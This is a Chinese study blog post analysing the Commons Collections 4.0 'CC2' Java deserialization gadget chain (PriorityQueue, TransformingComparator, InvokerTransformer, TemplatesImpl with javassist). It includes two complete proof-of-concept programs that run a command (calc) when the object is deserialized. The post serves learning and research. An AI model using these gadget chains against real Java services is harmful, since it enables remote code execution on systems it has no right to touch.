Java反序列化之CC2

通俗易懂的Java Commons Collection 2分析 - 先知社区
Java反序列化之CC2
Java–cc2链反序列化漏洞&超级清晰详细 - Erichas - 博客园
Java反序列化-CC2分析 - 掘金

前言

距离上次学习CC1时间有点长了,最近事情太多了,但是java学习不能放下。

知识准备

如果搜索Commons-Collections能注意到有两个,一个是cc一个是cc 4.0,而cc2是专门为cc 4.0版本的链子。
image.png

CC2

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>

</dependencies>

这里相比于前面多了两个类:PriorityQueueTransformingComparator

PriorityQueue

一个是PriorityQueue,它的作用是将元素按照优先级添加进入列,然后按照优先级高低依次出列,基本操作与queue差不多。

throw Exception返回false或null
添加元素到队尾add(E e)boolean offer(E e)
取队首元素并删除E remove()E poll()
取队首元素但不删除E element()E peek()

PriorityQueue默认按元素比较的顺序排序(必须实现Comparable接口),也可以通过Comparator自定义排序算法(元素就不必实现Comparable接口)。
这里使用这个类是为了使用它的readObject()方法。
image.png
这里按照size大小将queue重新创建,通过readObject读取objectAnnotation填充元素。这个queue是一个瞬间属性。
image.png
然后进入heapify方法。
image.png
然后就是siftDown方法(堆方法)
image.png
根据comparator的空不空分别进入不同方法。
image.png
这里调用的comparator.compare方法。

TransformingComparator

它将一个转换器应用于集合中的对象,然后使用转换后的结果进行比较。这个比较器用于排序或维护已排序的集合,如有序集合(SortedSet)或优先队列。
我们查看其中的compare方法:
image.png
然后就调用transform方法即可。

使用PriorityQueue和TransformingComparator构造Poc

也就是:

1
2
3
4
PriorityQueue.readObject()
TransformingComparator.compare()
ChainedTransformer.transform()
InvokerTransformer.transform()

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.natro92;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2Test {
public static void main(String[] args) throws Exception {
//构造恶意数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//构造无害数组
Transformer[] test = new Transformer[]{};

//在执行add方法 调用compare 方法进行比较的时候使用无害的数组
ChainedTransformer chain = new ChainedTransformer(test);

PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
queue.add(1);
queue.add(1);

//在调用完add 方法后通过反射修改 chain的数组,将无害数组替换成恶意数组,之后反序列化的初始化二叉堆的时候调用恶意数组执行代码
Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
ois.readObject();


}
}

其中的add,是为了进行元素比较时,最少需要两个元素才能比较。
image.png
因为:
image.png

PS:我估计不止我一个不知道>>>在这里是什么意思。
for (int i = (size >>> 1) - 1; i >= 0; i–): 这是一个for循环,它的初始值是 (size >>> 1) - 1。这里的 size 可能是指堆中元素的数量,>>> 是无符号右移运算符,它将 size 右移一位。这样,(size >>> 1) 获得的是最后一个非叶子节点的索引加1(因为在完全二叉树中,所有非叶子节点的索引都小于 size / 2)。然后减1找到最后一个非叶子节点的确切索引,因为数组是从0开始的。循环的每一次迭代中,i 递减,这意味着此for循环是从堆(数组)中的最后一个非叶子节点向上遍历到根节点。
也就是说就等于size/2

然而我运行这段代码,弹了两个计算器,而不是一个…
运行了两次这里的transform方法
image.png

使用TemplatesImpl

通过使用TemplatesImpl可以不用到数组,利用之前分析得到的newtransformer
这里使用一个工具类来方便构造java字节码——javassist

依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>

这里的javassist构造恶意类的字节码,然后将其编译为class文件,最后用二进制码来存储。

javassist测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.natro92;

import javassist.ClassPool;
import javassist.CtClass;

public class JavassistDemo {
public static void main(String[] args) throws Exception{
//获取类的搜索路径
ClassPool pool = ClassPool.getDefault();
//从搜索路径中获取对应类的CtClass对象,如果没有,则会自动加入
CtClass ctClass = pool.get(Hello.class.getName());
//定义要插入的代码
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
//makeClassInitializer() -> 新增静态代码块。insertBefore在static中靠前位置插入
ctClass.makeClassInitializer().insertBefore(cmd);
//设置类名
ctClass.setName("Hello");
//写入到对应目录下
ctClass.writeFile("testClass");
}
}

而Hello类里面如下:

1
2
3
4
package com.natro92;

public class Hello {
}

运行这段代码,会在testClass这个文件夹下生成一个Hello.class然后反编译的内容如下:
image.png
然后使用ClassLoader类将字节码加载为内存形式的class对象。

ClassLoader解析字节码

比如编写测试代码:

1
2
3
4
5
6
7
8
9
public class ClassLoaderTest extends ClassLoader{
public ClassLoaderTest (ClassLoader parent) {
super(parent);
}

public Class define(byte [] b) {
return super.defineClass(b, 0, b.length);
}
}

然后再Demo中修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.natro92;

import javassist.ClassPool;
import javassist.CtClass;

public class JavassistDemo {
public static void main(String[] args) throws Exception{
//获取类的搜索路径
ClassPool pool = ClassPool.getDefault();
//从搜索路径中获取对应类的CtClass对象,如果没有,则会自动加入
CtClass ctClass = pool.get(Hello.class.getName());
//定义要插入的代码
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
//makeClassInitializer() -> 新增静态代码块。insertBefore在static中靠前位置插入
ctClass.makeClassInitializer().insertBefore(cmd);
//设置类名
ctClass.setName("Hello");
//写入到对应目录下
ctClass.writeFile("testClass");

final byte[] bytes = ctClass.toBytecode();
ClassLoaderTest classLoader = new ClassLoaderTest(JavassistDemo.class.getClassLoader());
classLoader.define(bytes).newInstance();
}
}

我们能发现成功由字节码生成了实例对象:
image.png

继续TemplatesImpl

newTransformer

image.png
这里有一个getTransletInstance方法调用,Instance就是实例化,进去。
image.png
这里的defineTransletClasses时加载字节码并实例化中的重要部分,继续
image.png
这里第一个运用了自定义的ClassLoader:

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

进去可以看到继承的ClassLoader满足要求
image.png
然后

1
_class[i] = loader.defineClass(_bytecodes[i]);

使用loaderdefineClass方法从_bytecodes加载字节码,并放入_class数组中,最后,当我们回到getTransletInstance时,就会调用_class[_transletIndex].newInstance()实例化字节码中的类。

几个细节

image.png
getTransletInstance这里会对_name判断是否为空,以及需要对使用的字节码类继承AbstractTranslet
原因如下:
image.png

From https://chenlvtang.top/2021/12/11/Java反序列化之CC2/

接下来就可以构造Poc了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

最后

还是要多搞几次,这个只写一次只能仅仅理解皮毛,AbstractTranslet那里理解的还是不太清楚。